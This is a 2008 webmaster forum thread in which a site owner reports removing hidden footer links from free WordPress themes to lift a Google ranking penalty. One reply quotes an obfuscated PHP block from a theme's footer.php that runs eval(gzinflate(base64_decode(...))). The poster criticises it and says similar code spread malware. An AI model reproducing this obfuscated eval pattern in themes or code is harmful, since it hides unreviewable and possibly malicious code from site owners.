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 More options Apr 24 2008, 2:19 pm
From: vr
Date: Thu, 24 Apr 2008 11:19:38 -0700 (PDT)
Local: Thurs, Apr 24 2008 2:19 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
We are very sorry this happened and we will make sure that it does not
happen again. This is something that ruins a company and we are lucky
to have a chance to fix it. We are working very hard on this and have
seen some good response. These are the steps we are taking.

Emailing site owners to remove our links.
Contacting sites with the themes we designed to remove them.

So far a good amount of site owners have gotten back to us and removed
our links so we are excited about that, I am not sure how long it is
going to take to get the links removed but we are going to keep
working on it.


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(2 users)  More options Apr 24 2008, 3:06 pm
From: Red Cardinal
Date: Thu, 24 Apr 2008 12:06:40 -0700 (PDT)
Local: Thurs, Apr 24 2008 3:06 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
Great to see you have figured it out, and very cool of John to give
you those pointers.

Just waiting for the same action to be taken against some of the big-
budget corp sites...

Best of luck with getting the penalty removed :)
Rgds
Richard

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(1 user)  More options Apr 25 2008, 3:31 am
From: vr
Date: Fri, 25 Apr 2008 00:31:11 -0700 (PDT)
Local: Fri, Apr 25 2008 3:31 am
Subject: Re: Showing SiteLinks at Number 61 Spot
Just an update we have had some good success from site owners we could
get in contact with. We will be starting it up again in the morning.
This weekend we are gonna keep trying to get a hold of these people
and then Monday we are gonna file our reconsideration request since so
many site owners have been responsive. Thanks to everyone who has
helped us out especially John, we will continue to provide updates and
let everyone know what happens with our reconsideration request
Monday.

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(2 users)  More options Apr 25 2008, 4:16 am
From: Autocrat
Date: Fri, 25 Apr 2008 01:16:45 -0700 (PDT)
Local: Fri, Apr 25 2008 4:16 am
Subject: Re: Showing SiteLinks at Number 61 Spot
Glad to hear it... and hope all goes well.

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 More options Apr 29 2008, 9:33 am
From: vr
Date: Tue, 29 Apr 2008 06:33:21 -0700 (PDT)
Local: Tues, Apr 29 2008 9:33 am
Subject: Re: Showing SiteLinks at Number 61 Spot
Well we put our reconsideration request in yesterday and we are still
working on getting more of these links removed. Does anyone have an
idea of how long it takes for someone to review our request?

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 More options May 2 2008, 5:29 pm
From: vr
Date: Fri, 2 May 2008 14:29:49 -0700 (PDT)
Local: Fri, May 2 2008 5:29 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
Hey just an update, to this point we have successfully had a majority
of the links removed. Right now we are just hoping to hear back from
Google about the reconsideration request we filed on Tuesday. I
noticed that alot of the links showing in webmasters tools have been
removed hopefully that and our continue effort will help us to get
back where we were. Our site had good ranks previous to releasing the
themes so we hope that we can get it back. I will be crossing my
fingers all weekend!

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(1 user)  More options May 2 2008, 6:07 pm
From: JLH
Date: Fri, 2 May 2008 15:07:44 -0700 (PDT)
Local: Fri, May 2 2008 6:07 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
Google doesn't usually respond to requests, either the penalty is
removed or it isn't.

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 More options May 2 2008, 6:57 pm
From: vr
Date: Fri, 2 May 2008 15:57:44 -0700 (PDT)
Local: Fri, May 2 2008 6:57 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
Good insight JLH so basically there are no replies you either come
back or you dont. I wonder how many reconsideration requests they get
a day probably 10000 or more. Im hoping they can get to mine soon :)

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(2 users)  More options May 2 2008, 7:26 pm
From: JohnMu
Date: Fri, 2 May 2008 16:26:29 -0700 (PDT)
Local: Fri, May 2 2008 7:26 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
Hi vr

It looks like you have made some good progress with regards to those
links. However, I'm still seeing templates being distributed with
them; not only that, the links are disguised in a way that the average
webmaster cannot find them. For example, one template I was
looking at contained the following as "footer.php" (with spaces
added):

<?php $Lb7c75a7d0c13508a6d47965db04098bb='pVRbb5swFH6vt
P9w5GltKjVAsoeuDXG0Zav6WLVT94iMOYAlsJntBLXqj5+BEIVcqmnz
iy/n8n3n4rOgoWVxgVCLxOZzMgmCTwRipRPUcxIQ4FgUpmJcyGx7r1i
StPcpoR/OAEKr2705JZCjyHI7J9c3hJ7L2FSz0LdJp+hvNI9bTG8cdM
ZVoRz2xyCZ8M/XhIaJWAMvmDFzcqeURU0odMatg4qGxmolMxrGvdeNK
FXSQu/vrl0EjHhFFyiBlHF3eEadMMmu4KsWrLiCeyzWaAV3L4ZJMzao
RUroUlUvuqEJuwjn3D3PYBoEX2A8kIQLiAuVCZmq0YVkJV5czmAxoDe
GB1WjxgTil9BvuNKO8b8xHMIzyDWmc5JbW936fl3XHivZqytb7YpbaT
TG5lii8bgqCT2aKvrLqT40qgPfP1u7nrHPThi7+JbKtdEt9KpHONUY5
8pYT+nMwWE8ALp3Ekf4HQgfvqMRmXQ5/Nbn8Gjsa8aZFUpqZIV96WJ+
3rwNMB9RWlaYFrOPsG8vv6LDvvuPam1Jhosqr3Z6RRszjVa66PrlVGV
+SKsFml3mo8enp8udqhxvf/p2kKZ9Bi45pcuCif6OynKj/h4X7wSZDh
p5riBDG8lVGf1eYRPZ6OC7bATe8Jc19laUqCNjVTWaHJgZ5Eomxtuya
bdDJ3UVpe102UfeLXvou2G0d9ufbm5rJmoX29kf';eval(gzinflate
(base64_decode($Lb7c75a7d0c13508a6d47965db04098bb))); ?>

Personally, I think having footer links are fine if they are relevant
to the site or template and nofollow'ed. However, hiding them in this
style is - in my opinion - not ok at all. Just this week I helped a
friend with his template: it had a block of code similar to this in
it. It turned out that not only was it hiding links, it was also
spreading malware. It really upsets me to find code like this in a
template: it shows that whoever made the template not only knew the
contents were not ok, but also wanted to prevent the user from finding
or editing it.

When submitting a reconsideration request, it's always good to make
sure that as much as possible is cleaned up and detailed in your
report (including potential paid links in other forms).

Hope it helps!
John


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 More options May 3 2008, 12:52 pm
From: vr
Date: Sat, 3 May 2008 09:52:09 -0700 (PDT)
Local: Sat, May 3 2008 12:52 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
John that will help alot, thank you! We have been emailing those sites
to get the themes off, but alot of them dont respond. We are going to
start aggressively contacting these sites again to get our themes
removed to prevent further spread. Again thank you for your help,
please stand by for updates we will be spending the week trying to get
all of them removed.

Best Regards
Doug


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 More options May 7 2008, 3:41 am
From: vr
Date: Wed, 7 May 2008 00:41:54 -0700 (PDT)
Local: Wed, May 7 2008 3:41 am
Subject: Re: Showing SiteLinks at Number 61 Spot
After a long 4 days we have made some great efforts and genuine
strides to get this issue resolved. We have taken the following steps
and I will be submitting another reconsideration requests in a few
minutes with detailed reports of the work we have completed. I am
hoping that Google will find the work we have done what we will do in
the future acceptable to remove the penalty.

-   As of today we have contacted all the sites we found with our
themes and made sure to get the themes removed or provided them with
the code so they can modify the footer as they please(these do not
have our links of course). We have had a great response from these
sites and we expect to have the links off their previews and downloads
this week as per our conversations with them. Its possible that they
change the theme footer file to keep the download without our link.
Our link may still be in the preview if they did not update their
previews.
-   We will continue to email these wp sites until we cannot locate
our links anywhere anymore.
-   We have contacted many site owners to remove our links off their
site footers, we have had a great response with this as well.
-   We will continue to email these sites until we do not see our link
on any footers or in proper rel=nofollow format.
-   We have not created any new themes and will not.
-   We have emailed our owners and told them not to give away the free
themes we made for them.
 -  We removed the themes for download from our blog.


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 More options May 7 2008, 3:43 am
From: vr
Date: Wed, 7 May 2008 00:43:15 -0700 (PDT)
Local: Wed, May 7 2008 3:43 am
Subject: Re: Showing SiteLinks at Number 61 Spot
I also wanted to note that some of these things were done 2 weeks ago
and others last week. If there is anything that anyone would like to
add, please let me know this is a very hard to do and we are working
as hard as we can to clean up the site. Any advice helps!

Best Regards
Doug


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 More options May 14 2008, 1:31 am
From: vr
Date: Tue, 13 May 2008 22:31:56 -0700 (PDT)
Local: Wed, May 14 2008 1:31 am
Subject: Re: Showing SiteLinks at Number 61 Spot
Just wanted to give anyone who read this an update. We are still
contacting sites to get links dropped, we have heard back from a lot
and we have really cleaned up the problem very well. As of May 7th we
submitted a reconsideration request, but have not seen any change in
our sites penalty.

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(3 users)  More options May 29 2008, 10:32 am
From: Yulia
Date: Thu, 29 May 2008 07:32:29 -0700 (PDT)
Local: Thurs, May 29 2008 10:32 am
Subject: Re: Showing SiteLinks at Number 61 Spot
Please don't feel offended on this opinion.
The reason you won't be getting back right away is simple. Your great
ranking was based on the linking techniques. Once it was discovered
(or found as not the best practice), your site became what it
origianally was - a great site amoung hundreds of great sites in the
same industry. So now without any linking advantages you have to
compete with other greats in the industry and the rank is now based on
their ranking algorithm. I don't think your site is under any penalty
at all - the rank just reflects current (more accurate) position of it
on the net. I've seen it happen very often.

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 More options May 30 2008, 2:27 pm
From: vr
Date: Fri, 30 May 2008 11:27:21 -0700 (PDT)
Local: Fri, May 30 2008 2:27 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
Yulia sorry I am going to disagree with you. The site ranked top 10
before these links got out of control. It is a big mistake that we
will not make again.  The site ranked for alot of terms.  Also to
think there is no penalty is not reasonable at all. If you search for
vacationrealty a very uncommon term you see the site is on page four
now at least not 6. To tell me that this site would not rank for
vacationrealty with no spaces is highly unlikely unless their is a
penalty.

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(1 user)  More options May 30 2008, 2:38 pm
From: vr
Date: Fri, 30 May 2008 11:38:05 -0700 (PDT)
Local: Fri, May 30 2008 2:38 pm
Subject: Re: Showing SiteLinks at Number 61 Spot
Also to date the penalty was placed on March 27th approximately and it
has been a little more than 2 months. The site has been moving back up
slowly. To our knowledge we do not see anywhere with our themes to
download. Anyone using them must already have a copy and they are
changing their theme. We continue to email sites we find using link:
search on google, and have emailed everyone we can. To date we have
made like 2-3 reconsideration requests and we are hoping that our
efforts to clean up will satisfy the engineer who reviews our site so
they can lift the penalty. Keeping my fingers crossed! Ironically it
is easier to take the long road cause the short road always leads to
more work that is retro instead forward moving. :(

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 More options Jun 20 2008, 1:15 am
From: vr
Date: Thu, 19 Jun 2008 22:15:40 -0700 (PDT)
Local: Fri, Jun 20 2008 1:15 am
Subject: Re: Showing SiteLinks at Number 61 Spot
To date its June 20th, there is no instance of our themes on anyone's
site. We are seeing that websites who have our themes, have taken them
and added their link so they can distribute. At one point we had all
the themes off sites, but now there are a few more, eventhought I dont
see any more links counted. It has been almost 4 months, I truly
wonder what it will take to get this site back.........

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